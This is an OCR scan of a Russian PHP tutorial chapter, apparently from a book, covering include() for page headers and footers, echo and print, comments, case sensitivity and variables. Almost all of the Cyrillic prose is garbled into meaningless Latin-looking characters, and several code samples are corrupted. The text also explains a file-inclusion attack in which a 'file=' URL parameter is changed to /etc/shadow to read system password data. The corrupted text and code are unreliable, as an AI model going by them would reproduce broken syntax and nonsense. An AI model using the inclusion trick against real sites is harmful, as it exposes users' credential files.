COIEPXKUT BEPXHIO YacTh CTPAHMLbI (JIOTOTHI, MEHIO M T. .), KOTopas Heus-
MEeHHa IJisl Bcex JOKyMeHToB caifta. IloiBan colepXHT HWKHIOKW HEM3MEHHYIO
yacTh (MHbOpMALKIO 0 Branesble u ap.). Tejgo — 3T0 UEHTpanbHas YacTb, CBOM
y Kaxnoi crpaHuubl. Takum obpasom, uyrobsl B kaxaom daiiie He co3nasarh 3a-
rONIOBOK M MOIBAJ, WX BBIHOCAT B OTAENBHBIN (aill M MmoToM TONBKO MOAKIIOYA-
IOT K JOKYMEHTY. 3arofioBoK W [OABAN Jiyyllie NMOAKTIOYaTh vepe3 (hyHKUMM
include().

PaccMoTpuM npumep caiita, pasbutoro Ha Tpu yactu. Maiin 3arosopka (uaue
Bcero paiin HasbiBalor header.inc) MOXET BBINISIAETh, KAK NMOKAa3aHO B JHC-
TuHre 2.3.
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<HTML>
<HEAD>
<TITLE> Test page </TITLE>
</HEAD>
<BODY>
<CENTER><H1> Welcome to my home page.</Hl></CENTER>
<|-- Here you can insert page menu, links -->
<P><a href="http://www.cydsoft.com/">Home</a>
<a href="http://www.cydsoft.com/products">Products</a>
<a href="http://www.cydsoft.com/register.php">Purchase</a>
<a href="MailTo:in fo@vr-online.ru">Contact Us</a>
<HR>

L Mpumeuanne }

®daitn header.inc 8bl MoXete HaiTu B katanore \Chapter2\ Ha komnakT-aucke, npu-
naraemom K kHure.

®aiin nogpana (uame Bcero Gaiin HaswBaloT footer.inc) MOXeT coaepxkarb clie-
LYIOLLYI0 nH(OopMaLInIo:
<P><HR>
<CENTER><I> Copyright Flenov Mikhail</I></CENTER>
</BODY>
<HTML>

L Mpumeyanme ]

®aiin footer.inc Bbl MoXeTe HaWTK B KaTanore \Chapter2\ Ha komnakT-gucke, npuna-
raemoMm K KHure.

Teneps MOCMOTPHM, KaK MOXET BBIIVISAETH KOA /Uil CTPaHMIlbl HOBocTeH (me-
THHT 2.4).

<?php include('header.inc'}); ?>

<P><B> Site news</B>
<LI>CyD Organizer 1.2 now available.
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<LI>Use the CyD Virtual Desktop to organize a busy desktop, save your
time, release your work and keep the applicatiens in order.

<LI>Use the CyD Virtual Desktop to organize a busy desktop, save your
time, release your work and keep the applications in order.

<LI>New Java Applets. A christmas gift from CyD Software Labs. Generates
real looking snow that falls over your picture. And best of all, it is
totally free! Have fun!

<?php include('footer.inc'); 2>

r Mpumeuanve J

WcxoaHbifi kog wa nucTukra 2.4 Bkl MoxeTe Hawtu B thaine \Chapter2\index.php na
KOMNakT-4ucKe, npunaraemom K KHure.

Peaynbrar BblloIHEeHUs cLieHApPUsi HOBOCTeli cM. Ha puc. 2.3.

3 Test page - Micrasoit Inte mut fxplun r

‘J fapec {ﬂ http 27,00, lﬂndex php

Welcome to my home page.

Home Products Purchase Contuct Us

Site news

s CyD Organizer 1.2 now available.

o Use the CyD Virtual Desktop to organize a busy desktop, save your time, release your work
and keep the applications m order.

» Use the CyD Virtual Desktop to organize a busy desktop, save your time, release your work
and keep the applications in order.

o MNew Java Applets. A christmas gift fom CyD Software Labs. Generates real looking snow that
falls over your picture. And best of all, it 1s totally free| Have funl

Copyright John doe
2 A AR e e [

Puc. 2.3, PeaynsTar Nnoaknio4YeHns Wanky v nogsana

Kak BHIOWTE, HAM HE Hal10 [MHCaATh DonplIoe KOTHYECTBO Koaa /Ui 3aroJiopka
noapana. JlocTaTouHO TOABKO MOAKIIOYUTL 3TH aibl U MCIONbL30BaTh B CBOMX
npoekrax. Takum oBpazoM, ynpoulaercsi He TOJIbKO co3naHue (ainos, HO U KX
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nomiepxka, Jonyctum, uto Bawl cait cocrour u3 100 daitioB n HyxHo noba-
BUTb Ha calT HOBbIA nyHkT meHio. [lpu ucnons3zoBanuu craruueckoro HTML
npuaercs uamenuts Bee 100 daitnos u sarpyaute ux Ha ceppep. [Ipu ucnonsso-
BAHWM cAlfTa M3 Tpex Yacteil JOCTATOYHO M3MEHUTH TOJILKO ONMH (aiiyl 3arooB-
K4, ¥ BeCh CAWT MPUMET HOBBIH BHELIHWIT BUI.

O6parute BHUMaHHe, YTO Bee monkimoyaemere daitnst Msl nuiuem B HTML. Ecin
Bbl AyMaiu, YTo 9TH aiinsel pomkHbl cogepxars PHP-koa, To 3o omubka. ITo
yMOJTUaHUHIO MoaknouaeMeie ¢aiiisl BocnpuHumalores kak HTML, a mas toro,
yTobBl Hcmonb3oBars B HUX PHP-uHCTpyKiMu, HeobXoMMMbl TETH <?php U ?7>.

Ecnu Bamr caiin momkeH conepxarb tonbko PHP-kon, To Heobxonumo B camom
Hauajsie niepeitH B pexxuM PHP ¢ nomouibio <?php M B caMoM KOHIIE [MOCTaABUTh
?> Ui Bbixoga w3 pexuma PHP. Crenure 3a Tem, yrobel HH 10 mepexola B pe-
xum PHP, Hu nocjie BBIXO@ M3 3TOTO peXXuMa He BGBUIO MYCTHIX CTPOK WM MpO-
Genos. Kak MBI yXXe 3HaeMm, Bce, YTO pacriojaraercs BHE 3THX WHCTPYKLMIA, BOC-
npuHumMaercs kak HTML-xon, u auwHui npoben wiau nycrasi eTpoka MOryr
ObITh BOCIIPUHATH! Kak (opMaTHpoBaHMe, W MOTOM Bbl J10ATO GY/IETe MCKATh, OT-
Kylla B3SJIOCh JIKLIHEE MYCTOE [POCTPAHCTBO.

[MonknoueHue ¢aiinoB MOXET pealbHO YNIPOCTUTL paspaborky caitos. Hepapom
MHOTHE CAMTHI MCMOJIB3YIOT 3TY BO3MOXHOCTb B TOM WIM MHOM rnpossieHuu. Ho
TaKkue JiecTBUsl He Moryt ObiTh abconloTHo GezonacHbIiMU. [OIMycTHM, YTO BEI
CO3aJii CalT, Y KOTOpPOro crpaHuiibl (GoOpMHUpPYIOTCSE HA OCHOBE Tpex vdacrei —
wanka, ueHTp U noasain. s wanku ¥ nojsasa HeodxoauMmo no onHomy daiiny,
a JUIsi OCHOBHOM YacTH caita B OT[EJbHOM KaTajore XpaHWTcs MHOXecTBo daii-
noB. Kakoit U3 atux daiuios orobpaxare — 3aBUCUT OT TEKYILUEro BeIOOpa nojib-
soBarens. Bbl, HaBepHoe, yxe He pa3 Bumenu caitel B MHTEpHeTe, B KOTOPBIX
URL-anpec BLINISAUT CAEAyIOIWUM 00pasoM:

http://www.sitename.com/index.php?file=main.html

Bee, uTo HAaXomWTCs MOc/ie BOIMPOCHUTEIBHOrO 3HaKa, — 3TO napameTpsl. B panH-
HOM clyyae B KadecTse mapamerpa nepepaercsi daitn main.html, U umeHHO ero
caiiT 6yner orobpaxars s naHHoro URL B ocHoBHOM yacTy cTpaHuuEbl. A ecin
XAKEep CMOXeT W3MeHHMTh 3ToT mnapamerp Ha /Jetc/shadow? B stom cnyuae Ha
CTpaHMlle, B OCHOBHOI ee 4acTH, 3JIOYMBILUIEHHMK YBUIMT ¢ailn naponeit Bcex
noJjik3oBaresieil cUcTeMbl. XOTSA MApPONW MW 3alIUM(POBaHbI, BTO YXKE NOCTATOMHO
onacHo. B pasdese 3.4.1 mbi 6ynem ofcyXmarh cailT, KOTOPBIA HE MPOM3BOIMI
HEoBXOIUMBIX TPOBEPOK, TAK YTO MHE YAAJI0Ch [IPOCMOTPETh CUCTEMHbIe (aiiibl
Gnaromaps noaobHoi olnbke ¢ NOAKIIOYEHNWEM include.

2.3. Mevartb

Mput yxe ucronb3oBatu (GyHKUMIO print (), KOTOpas MO3BOJISET BBHIBOAMTH AaH-
Hble, YTOObl BHIETh pe3ysabTar paboThl cueHapus. s manbHEHIIEro uU3y4eHUs
HaM HYXHo roapobHee pasobpaThes ¢ AOCTYNHBIMU (GYHKIUMSMYU BbIBOIA, MOTOMY
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YTO, €CNIH Bbl HE CMOXETE YBHIETh PeayabTar paboTsl, TPYAHO OyleT NoHATH U3y-
yaeMblii MaTepuan. Bece HeoGX0oAHMO MpPOLLYNAaTh H YBUACTL CBOMMHM [/1a3aMH.

Hrak, mwis sbiBoja MHpopMaumu Ha 3KpaH/okHO Gpaysepa ecTh IBe (DYHKLMM:
echo U print. CyliecTsyer 1Ba BAPHAHTA BbI30BAa (PYHKUMH echo:

echo("Hello, this is a text");
echo "Hello, this is a text";

B nepsoM ciyuae BbIBOAMMAsI CTPOKA yKasblBaerTcs B ckobKax, a BO BTOPOM Ciy-
yae CTpoKa ykasbiBaeTcsi yepes npoben. O6a Bb130BA SKBUBANEHTHBI, H Bbl MOXeETe
HCIIOJIB30BATh TOT, KOTOpKIH BaM Gosblie noaxoanT. Ho BbIBOA He orpaHUuYMBa-
eTcsl O/IHOM CTPOKOI#, U Bbl MOXETE BbIBOIUTH Cpasy IO HECKOIbKO CTPOK, pasjie-
JisIs1 MX 3alSIThIMHU:

echo("Hello, this is a text", "This is a text too");:
echo "Hello, this is a text", "This is a text too";

DYHKIMA print() OTAMYACTCS TEM, YTO MOXET BO3BPALLATH 3HAYCHHE, YKa3bi-
Balolliee HA YCHEIHIHOCTh BHITTOJIHEHUs 3azauu. Eciu ¢yHkums BepHyna 1, 3ua-
YWT, TeYaTh rpouuta yaauyHo, wHaue dyHkuus sepHer 0. Ho ects u opHo orpa-
HHYEHUE — [eYaTaTb MOXHO TOJbKO OIHY CTPOKY, T. €. HeJIb3d HalHcaTb JiBe
CTPOKM 4Epe3 3ansrTyio.

IMpumep Hcronb30BaHUA (PYHKUHHK print():

print("Hello, this is a text");

2.4. Npasuna KoaupoBaHus

Ecnu Bbl MporpaMMupoBanu Ha Kakux-HUOYIb A3bIKax Bbicokoro yposusi (C++,
Delphi), To yxe 3Haere, 4TO BCE NEpeMEHHbIE AO/DKHBI UMETE CTPOro OINpene/ieH-
HbIA THIT, @ KOA NO/DKeH 6BITh odopMiIeH B AOCTATOYHO XECTKMX paMKax. S3slk
PHP Gonee nemMokpaTHueH M HE TaK CHJIbHO OrpaHMYUBAET Bac, HO TIPH 3TOM
GoJbllIe BEPOATHOCTH BOHHKHOBEHHMA OLIMOKHU BO BPeMs BBLIMOJIHEHMs CLEHapHs,
U BaM HaMHOTo CjioXHee obecrneuynTsb GezonacHocth. OYeHb MHOIO B3JTOMOB Obi-
JIO COBEpLUIEHO HMEHHO W3-33a OTCYTCTBMS THIM3aLMM (YETKOro onpeneseHus: TH-
na nepemMeHHoil).

JonyctuM, MporpaMMUCT MOApPa3yMEBaeT, UTO 4epe3 Kakoi-ro napamerp Oyner
repenaBaTbcs YUCIO0, HO Xakep Mepefan CTPOKY, coiepXxalllylo sanpoc K 6ase
navHeIX. Ecnu BBl nepemeHHas UMesa YeTKuil THUI, TO Xakep rmonyqyun 6sl owmno-
Ky, TIOTOMY 4TO HeNib3si npeobpasoparth cTpoky B uncno. (Takum cnocobom Gbuia
BajiomMaHa cucrema ynpasieHus caiitom PHPNuke.) A u3-3a orcyrerBusi THNu3a-
UMY TIPOTPAMMUCT JOJDKEH CAMOCTOSITEMLHO TPOBEPATE THIT MEPEIaBAEMBIX TaH-
HBIX U MpeceKaTh JI0Obie HEBEPHBIE XOBI.

Eciv Bbl 3Haere A3bik nporpammuposanus C, Java unu Perl, To MHOrOE BaM yKe
3Hakomo, noromy yro PHP ouens nmoxox Ha C/C++.
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2.4.1. KommeHTapum

Odopmnerne kommeHrapues B PHP cxoxke co ctuiem odopmieHnsi B s3bike
nporpammuposanust C/C++ uam Java, D10 JMIIHMIA pa3 yKas3biBaeT HA POJCT-
BEHHOCTH 3THX A3bIKOB. YTO Takoe koMmenTapuit? 910 nHbopMaLus, KoTopas He
BJIMSIET HA BBINOJHEHHWE Koaa nporpaMmbl. Hanpumep, BbI XOTHTE BCTABUTH B KOZ
MOSICHEHHE, KOTopoe He Oyaer BLIMOJHATHCS W HE OGyAeT BHIBOAMTECS B OKHO
6pay3epa. Takoe nosicHeHue MOXXHO 0hOPMUTH B BUIE KOMMEHTAPUSI.
KommeHTapuu ObIBAIOT OOHOCTPOYHBIMM W MHOTOCTPOYHBIMK. OIHOCTPOYHBIH
KOMMEHTapHil HAYUHAeTcsl ¢ ABYX ciawel // (3aumcTBoBaHo u3 C++) uuu pe-
WeTKH # (3auMcTBOBaHO M3 Linux), 1 Bce, YTO HAXOAMTCS B TOW XKE CTPOKE mocie
9TUX CUMBOJIOB, OylleT BocpuUHUMATBCS Kak KoMMeHTapuidi. Hampumep:
<?php

# Dro KoMMEeHTAapMi

// 3To ToKe KOMMEeHTapuil

This is code // 3ro TOKe KOMMeHTapwii

2>

Kak nokasaHo 3ziecb B TpeTbeif CTpouke, KOMMEHTApHIT MOXET 3aHUMATh HE BCIO
CTPOKY, a uaru cpasy nocie PHP-komauasl. Takum obpazom, Bel MOXeTe Uisi
KaXIOi CTPOYKM BCTABIATEL MosicHeHWs. C MoMOLLBI0 KOMMEHTapues s mocrapa-
I0Ch [aBaTh KaK MOXHO Goiblie MOsSICHEHUI Ha NMpoTsSXeHHW Bcell KHuru. Tak
BaM Gyner npoille BOCIIPHHUMATE paccMaTpUBaeMbIH KOJIL.

KoMMmeHTapuu MoryT GbITb M MHOTOCTPOYHBIMHM, HAMIPHMEP, TEKCT, OMMUCHIBAIO-
LA BO3MOXHOCTH MOIYIS WM CONEpPXKAIUMi KaKylo-TO BCITOMOIATEeJIbHYIO WH-
dopmauuio. Takoii KOMMEHTapHii HAYMHAETCS C CHMBOJIOB /* M 3aKaHYMBAETCs
cuMBonaMu */. OH BymeT BHIVIAAETD CAEAYIOIIUM 0Bpa3oM:

<?php

Kon

/* 310 KoMMeHTAapuil

370 TOXe KOMMEHTapHA

M 370 KOMMEHTAapui

*/ A 270 yXe HEe KOMMEHTApWH, 31eck MOXeT OhTh TONBKO KOon

Kon

7>

Xouy o6paruTh Balle BHUMAHHME HA TOT (PAKT, YTO BCE 3TO MOXHO MHCATh TOJILKO
B pexxume PHP. Ecnu Hanucats takoit kommentapuii 8 HTML, To o Gyner Bbi-
BeleH B okHO Gpaysepa, nmoromy uto B pexkume HTML npeiictByior coBepiieHHO
Inpyrue npasuaa oopMIeHHSI KOMMEHTAPUEB,

Ilpn cosgaHuu cBoMX cOGCTBEHHBIX TIPOrpaMM 0053aTebHO WUCMONb3YHTe KOM-
MeHTapuy. BoJbIIMHCTBO HAYMHAIOUIMX, 1a U OTILITHBIX, MPOrPpAMMMCTOB JAyMaeT,
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YTO OHM M TaK MPEeKpacHO 3HalT ¢Boii Koia. Ho aTo Tonbko Ha arane paspaboTku.
[lpoitner mecsu, u Korga Bam mnoHagobuTcs BHECTH HebGONbLIOE H3MEHEHHE,
MpUAeTCs TPATUTL BPeMsl HA TO, 4TOOBI BCIIOMHMTL CBO# KOI, M YTO OH NEJIAET.
Yro6E1 erye GbUIO YUTATH COBCTBEHHBINH KO/ 4€pe3 HEKOTOpOe BpeMsl Mocie 3a-
BeplUeHUs] MPOEKTa, Bbl AO/KHBI C CAMOI0 Havaja KOMMEHTMpPOBATH BCE CBOU
neiicteus. TloBepbTe MHe, JIyyllie NOTPATUTh MApy MMHYT HA HanucaHWe KOMMeH-
TAPUS CPA3y, YEM [MOTOM HECSTKM MUHYT HA TO, YTOObI BCMOMHMUTL, /UIS YEro Hbl
MUCAIH KaKMEe-TO KOMaH/BI MW 3a4€M HYXKHbI KAKUE-TO MepeMeHHBbIE.

Sl nocrapaioch Ha NPOTSKEHUH BCEH KHUIM TPUYYUTH BAC MCIOJIB30OBATH KOM-
MEHTAapHH, & Bbl HE JOJKHBI MTpeHebperath 3Toil BO3MOXHOCTHIO. TONbKO TaK BB

COKOHOMUTE BpEMsI B MOCHEAYIOLIEM COMPOBOXIEHUM KOIAa W HCIpaBieHuu
onboK.

2.4.2, YyBCTBUTENBHOCTb

Azpik PHP He uyBcTBUTENEH K npobenam, NepeBolaM CTPOKM WM 3Hakam Taby-
JSIMH. DTO 3HAYUT, YTO BBI MOXKETE pasNeNniaTh OfAHY KOMAaHIy Ha HECKOJIbKO
CTPOK WJIM OTAE/IATH IMepeMeHHble, 3HaYeHUs! WM ONEpaTopsl PasIMYHLIM KONH-
yecTBoM npobenos. Hanpumep:

<2php
Sindex = 10;
Sindex = RO 20;
$index=10+10;
Sindex=
10

+

10;

>

C touku 3peHus PHP Bech ator Kon KoppekreH u GyaeT npasuwibHo oTpaboTaH.

Kaxnas komanna B PHP 3akanumuBaercs Toukou c sansatoit (;). Takum obpazom
MHTEPIPETATOP OTAE/NseT OAHY KoMaHay oT apyroi. He 3abeiBaiite craButh 5TOT
3HAK, MOTOMY YTO M3-33 €r0 OTCYTCTBMSI MOTYT BOSHUKHYTh COBEPILEHHO Hempeln-
cKasyeMmble OLIMOKHU, N0 KOTOPBIM TPYAHO OMPEAeINTh, YTO OTCYTCTBYET MMEHHO
pazjielluTeslb KOMaHI.

Braronapsi pasuenuTesio oqHy KOMaHIy MOXHO 3arMChiBaTh B HECKOJNBKO CTPOK
WIX HECKOJIBKO KOMaHI B omHy crpoky. MHTepnperarop cmoxer HailTH Havaio
M KOHELl KOMAHkI [0 PasaeTHTeNIo.

Sapik PHP uyBcTBUTENIEH K perucrpy cCUMBOJIOB. DTO 3HAYWUT, YTO UMEHA nepe-
MEHHBIX, HAlMMCAHHbIE B HHXKHEM PErdcTpe M B BepxHeM, 6yayT BoCIIpHHMMATHCS
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KaKk pasubie. MHOrMe HauMHAIOUIME TIPOrPAMMMCTBI JIONYCKAIOT K3-3a 3TOTO
oyeHb MHOTO olbGoK. PaccMoTpuM mpumep:

<?php
Sindex = 10;
SIndex = 20;

print ($index) ;
print ($Index) ;

2>

B pesynbrate Mbl yBuauMm cHauyama gncio 10, a morom 20, noToMy YTO NEpeMeH-
Hble $index M $Index OYAYT BOCMPHHHUMATLCSH KaK pasHbie M3-33 OTJINWYMS B pe-
rucrpe nepsoil 6yksel. Eciium 661 PHP ObL1 He uyBCTBUTE/IBHBIM K PErucTpy, TO
obe repeMeHHBbIE YKA3blBaIM HA OIHY M Ty Xe AYeHKy namaTu. B artom ciyuae
B MepBOil CTpoyKe Koja Mbl 3anucaiy Obl B Ty sveitky namsati umcio 10, Bo
Bropoit — 20, a rioToM ABaXKIbl Harieyatanau Obl 3HAYEHHE OJIHON U TOH Xe g4eil-
KM NaMATH.

Wrak, Byabre BHUMATEIbHBI NMPU MCIHOMB3OBAHUM HMeH nepemeHHbIX. Clenyio-
1M KOJ JACT HE TOT Pe3ysibTar, KOTOPbIHA Bbl OXUIATH:

<?php
Sindex = 10;
print ($Index) ;
2>

3nech Mbl epeMeHHOoI $index npucBaMBaem 3HaueHue 10, a BEIBOJAMM M Tevarta-
eM NepeMeHHYI0 $Index. M3-3a Toro, 4ro 3TM nepeMeHHble pasHble, HA IKPaH
Oyiger BblBelleHAa $Index, KOTOpPOil He ObUIO NMPUCBOEHO 3HAYEHME, A& 3HAYMT,
B pe3yJbTaTe MbI NOJIYYMM BLIBOJA HA 3KPaH MYCTOH SIYEHKU MaMsTH, U MOJIb30Ba-
Tellb HHYEro He YBHUIHMT.

Yrobsr y Bac O6bUTO0 MeHBIIe OIIMOOK B MporpaMmax, NUIIMTE BCe HA3BaHUS Te-
peMEeHHBIX B OAHOM perucrtpe. Sl peKOMeHIy0 HCMONb30BaTh HIDKHUN perucTp
Inst Beex Oyks. B aroM ciyyae BepOATHOCTb HENpPaBMIBHOIO TOJNKOBaHMs Koja
CBOIMTCS K HYJIIO.

Ho 3710 oTHOCUTCA TONBKO K nepeMeHHbIM. Onepatopsl s3bika PHP moryr 6wiTh
HanuecaHsl B Jio6om perucrpe. Hanpumep, ects oreparop ycioBHOro nepexona
if (ycnosme) neiicrenel else peficreueZl, KOTOPBI TpoBepsieT ycloBWHE, M
ec/ii OHO BEPHO, TO BBIMOJNHSETCS neitcTenel, UHAUE BBIMOJHAECTCS neicremel.
HemHoro noaxe mbl OyaeM paccMaTpuBaTh Bce MoAoOHLIE OnepaTopbl, a 3[ech
HaM BaXHO YBWIETh, YTO 9TH KiioueBbie ciioBa PHP Moryr 6biTh HanucaHsbl
B Jiiobom perucrpe. Mtak, mocMOTpUM HA CHIEAYIOLHIA KOIL:

<?php
Sindex=1;
if (Sindex==1)
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print('true');
else
print('false');
7>

3nech Bce HAMMUCAHO B HUXXHEM PErucTpe, HO HUKTO He Mellaer Hanucarb 3To
B BEPXHEM PETHCTPE WM [dKEe BIEPEMELUKY:

<?php

Sindex=1;

If ($index==1)
print('true');
ElskE
print('false');

7>

3nmech KI0yeBble ¢IoBa if M else colepxar GYKBBI B Pa3HbIX PerucTpax, H 310
He siBnsercs: oWKUOKoi. YyBCTBHTENBHOCTb NPOSBIAETCA B OTHOLWIEHHHM MMEH Mne-
pPeMEHHBIX M Ha3BaHuil npouenyp/yHKUMI, HO He TAKMX KTIOYEBBIX cioB. He-
CMOTPSl Ha 3TO, s PEKOMEHIYI0 MHCaTh KJIIOYEBBIE CJIOBA B HUXHEM permcrpe,
NOTOMY YTO B OYIYHIMX BEPCHSIX MOXET IMOSIBUTHCSI YYBCTBHTENBHOCT K PErHCTPY
3THX KOMAHI, W TOTAA NMPHAETCA MOTPATMTbD MHOrO BPEMEHW HA HCHpasieHue
onOOK.

2.4.3. NepemMeHHbIe

Mbl yXe HEMHOTO TOBOPWIM O TEPEMEHHBIX W 3HAEM, YTO MEpeMeHHas — 3To
obacTh MaMATH, B KOTOPOH MOXHO XpaHHTb KAKHE-TO 3HaudeHusi W obpaiarscs
K aToil mamsaTH mo umenn. Ham HeBaxHo, rme GyayT XpaHUThCs MEpPEMeHHbIE,
MOTOMY 4YTO HMX 3HAYEHHMHA BCErjga MOXHO MOJAYYMTH WIH H3MEHHTH, MCHOJIbL3YS
umena. [Nepemennsie 8 PHP obnanaior cienyiominmu cBoiicTBamu:

0 Bce WMeHa nNepeMeHHbIX NO/DKHBI HaYWHATBLCH CO 3HAKA aosuiapa ($), U 1o ra-
KOMY 3HAaKy MHTEPIIPETATOP OMpPEHENIAET, YTO 3TO MEPEMEHHAas;

0 3xayeHue NMepeMeHHol — 9To 3HayeHue, KoTopoe BuUTO 3anmucaHo B Hee Mo-
CTIeIHUM;

[ ecau Bbl paboTanM ¢ TAKUMU A3BIKAMU nporpaMMmupoBaHus, kak C++ win
Delphi, To 3naere, uto nepemeHHbIe AOIKHBLI ObiTh CHAYANA OOBLSABICHBI, a 110~
TOM yxe Moryr ucnojbsoBatecsi. B PHP oGusapnenus: He siBnsiioresi o6sisa-
TenbHbIMA. [lepemeHHasi HAYMHAET CYLIECTBOBATE C MOMEHTA MPUCBOEHMS eif
3HAYeHUs WIK C MOMEHTA NepBoro ucnonb3osanus. Eciu ucnonp3osBanue Ha-
Yy{HaeTcsl paHbilieé MPUCBOEHMS, TO NMepeMeHHas Oymer colepXxaTh 3Ha4YeHue
M0 YMONMYAHHUIO;

0 nepeMeHHOI He Ha3Havaercsi ornpeneneHHsiid THN. TUn onpenensiercs: Xpawsi-
LMMCsT 3HAaYEHUEM M TeKVLIel onepaluei.
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WUmsa nepemeHHo#t HauMHAETCsl CO 3HAKA $, MOC/]E KOTOPOrO JOKHBI MATH JIIO-
Gele aTHHCKKHE OYKBBI, UMDPLI WIM 3HAK noavepkusaHusi. Ho nepBsiM CHMBO-
JIOM rocse 3Haka $ obszarenbHo AoJkHAa ObiTh Oyksa. Crapaitrech naparp nepe-
MEHHBIM MMeHa, KOoTophle OyayT OTpax)arh CMbICH COAepKAllerocsi 3HaYeHMSsL.
Ecnu Bce nepeMeHHbie HA3BIBATh KaK $paraml, $param2, $param3 WU T. J, TO IO
HCTEYEHHH HEKOTOpOro BpeMEHM Bbl HE CMOXETe BCIOMHMWTH, IUIA YETO BbI o0B-
SABJIAJIA TMEPEMEHHYIO ¢ UMEHEM Sparam2, YTO OHaA JOJKHA XpPaHUTh U KaK HMC-
MOJIB30BaThHCH.

Ilpu MMeHOBaHUM MepeMeHHOI 00s3aTeNbHO MCTIOAb3YIHTE CMBICIOBYIO HAIPY3KY.
Hanpumep, eciu BaM HYXHO COXPaHWTb T/e-TO CyMMY Kakux-nnbo uucen, To
3aBeUTE Ul 3TOr0 mepeMeHHYI0 $sum. Ecin Bam HyxXeH cueTyuk (MbI Oynaem
paccMaTpuBarh MX, KOraa HoiHAeM M0 LIMKIOB), TO XOPOIIUM BAPHAHTOM SIBASIETCS
UMs MepeMeHHON $i. 9To OBLIENPHHATOE MPABIIIO MPH paboTe co CULTYHMKAMM.

Jlas 3anmucH 3HaYeHUs B MEpPeMEeHHYI0 UCIIONb3yeTcs 3HaK paseHcrsa. CreBa yka-
3bIBAETCA UMS TMEepeMeHHOM, a cripaBa 3HaYeHUe, KoTopoe HeoOXOAMMO B Hee 3a-
TIHCaTh:

$MMA nepeMeHHON = BHadeHMEe;

B PHP ectb Tpi OCHOBHBIX THIA NEPEMEHHBIX — YUCIOBOM, CTPOKOBBIH H JIOTH-
yeckuif. C nepBbIMM IByMsl Bce TOHATHO. Eciiu 3T0 4nciio, TO nepeMeHHasl co-
JEPXHT YNCTOBOE 3HAYEHHE, M Mbl YK€ MCIONb30BAIM Takue repeMeHHbie. IMpu
0OBABIEHUH CTPOK 3HAYEHME 3AKITIOUAETCS! B IBOIHBIE WM OAMHAPHBIE KABBIYKH!
$str = '3ro cTpoka';

$str = "3ro crpoka";

B yem pasHuua MexXay 9THMH ABYMsl cTpokamu? [lomycTuM, YTO BaM HYXXHO Bbl-
BECTH Ha [leyaTh 3HAYEHHE MepeMeHHOoH $index. DTO MOXHO cHelaTh, eciiy mne-
PEMEHHYIO BCTABUTH MPSAMO B TEKCT CTPOKH:

$index = 10;
$str = 'Index
$str = "Index

i

Sindex';
Sindex" ;

[}

Ecnu BbIBECTH HA JKpaH 3Ha4€HHE ﬂepCMCHHOﬁ $str, TO B MEPBOM Cllydyac Ha
JKpaHE Mbl YBUIWM TEKCT Index=5index, 4 BO BTOPOM Index = 10. Ecnn BB
MCTIONB3YETe NBOITHbIE KABBIYKH, TO BCE MEPeMEeHHbIE BHYTPH CTPOKH OyayT WH-
TEPHPETUPOBATLCS 110 3HAYEHHIO, T. €. NepeMeHHas OyIeT 3aMeHsATHCH ee 3Haye-
nueM. Eciiu Mcrnonb3yioTesi ONMHAPHbBIE KABBIMKHM, TO TEKCT BbIBOAMTCH MONHO-
CcTbIO, 6e3 MpoBepKH M M3MeHeHus, uyTo Byaer HemHoro Gbictpee. [Toaromy ecin
B CTPOKE HeT TepeMeHHbIX, 3HAYEHUE KOTOPBIX HY)XHO BBIBECTH, TO MCITONb3YiiTe
OIMHAPHBIE KABBIYKHM, YTOOBI HHTEPIIPETATOP HE CKAHMPOBAT JHLIHUI Ppa3 cTpo-
Ky. DTO MOXET MOBBICUTH NPOM3BOAMTENLHOCTE, He cTouT Beaje Wcnonb3osaTh
JIBOMHBIE KABBIYKH TOJBKO W3-3a TOro, YTO OHW YHUBEpCalbHBbI.
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CrpokoBbie NepeMeHHbIE MOXHO pa30uBaTk HAa HECKOJIBKO CTPOK, €C/IM Bbl He
XoTuTe, 4ToObl B OKHE peaakTopa cTpoka Obuia CAMLIKOM UTMHHON. 3T0 Aenaercs
clenylouuM obpazom:

$str = "This is a string.
PHP is a next generation of WEB programming.
You will like this";

Kak BHIOWUTE, pasaelieHHe MPOUCXOOUT HOCTATOYHO MPOCTO. HC HYXKHO HHKaAKKX
JOMOJIHUTEIBHBIX YCHJIMHA: NPOCTO MEpeHocHTe Bee Ha HOBYIO cTpoky. MHTtepripe-
tatop PHP cam onpenenut Havyano U KOHEL[ CTPOKH 10 KaBbIMKAM, OTAETSIOLIHM
CTPOKY.

IMpu HanmMcaHUM MHOTOCTPOUHBIX CTPOK 5 PEKOMEHIYIO BO BCEX CTPOYKaX KOIA,
COIepPXAlIUX MepeHoc, Aenarh HeGomblloi oTeTyn, YToObl BbUIO BUAHO, YTO 3TO
HE HOBas CTpO4YKa Koaa, da NMpoloiKeHUue npe,ubmymeﬁ. TaK 6y11e1‘ npouie nmoTomMm
YUTATh KO/ MPOrpaMMBsl.

A yto Takoe jornueckuit Tun? Takas nepeMeHHas MOXET Co/lepXaTbh 3HaYeHue
true, T. €. UCTHHA (J1oboe 3Havenue, boabiiee 1), wan false, T. €. JOXKb (3HAYE-
Hue, pasHoe Hym0). B sBHOM BHMIE Takue NepeMeHHBIE HE WCMONb3YIOTCS, HO
3TOT THN HeoOXOAWM IS MOHWMAHMUA JorMyeckKux onepauuit. Hanpumep, Mmsl
YK€ paccMaTpUBaiv onepaluio if..else, KOTOpas nposepser Kakoe-iubo ycio-
BHe. DTa MpoBepKa Kak pa3 ¥ BO3BpAlllaeT JIOMYECKOE 3HAa4YeHHe true WIH
false. Eciu yTBepKaeHue BepHO, TO pesyiabTatoM Byder HCTHHA, HHAYE JIOXb.

Ecnu xakad-To nmepemMeHHas MCMOb3YETCA PaHbILE, YeM el MpUCBOeHO 3HAME-
HMe, TOo Oyler NpUCBOeHO 3HayeHWe ro ymonuaHuio. Kak xke onpenennts 3Haue-
HUE 10 YMOAYaHHIO, ecny HeussecteH TMN? TUn MOXHO ONPENENUTb U MO KOH-
TeKeTy Kona. Hampumep, ecim Han nepeMeHHON BBINOAHSETCS MaTeMaTH4yecKas
onepauus, KoTopas MoApa3yMeBaeT HCIONb30BaAHUE YHC]Aa, TO B MEPEMEHHYIO
Oyaer sanucaHo sHayeHue 0. Ecau 3To cTpokoBasi onepauusi, TO pe3yjibTaToM
Oymer nycrasi cTpoka.

Kak ysHarb, npucBoeHO Ji 3HauyeHue nepemerHoit? s atoro ects yHKLMSA
IsSet (uma nepemenHoir). DToOH (DYHKUMHM HYXKHO MMEepeaatbh B KayecTBe mapamer-
pa B cKoOKaxX MMsi IEPEMEHHOI, ¥ ecliM OHA CONEPXKUT 3HAYEHUE, TO Pe3yAbTaTOM
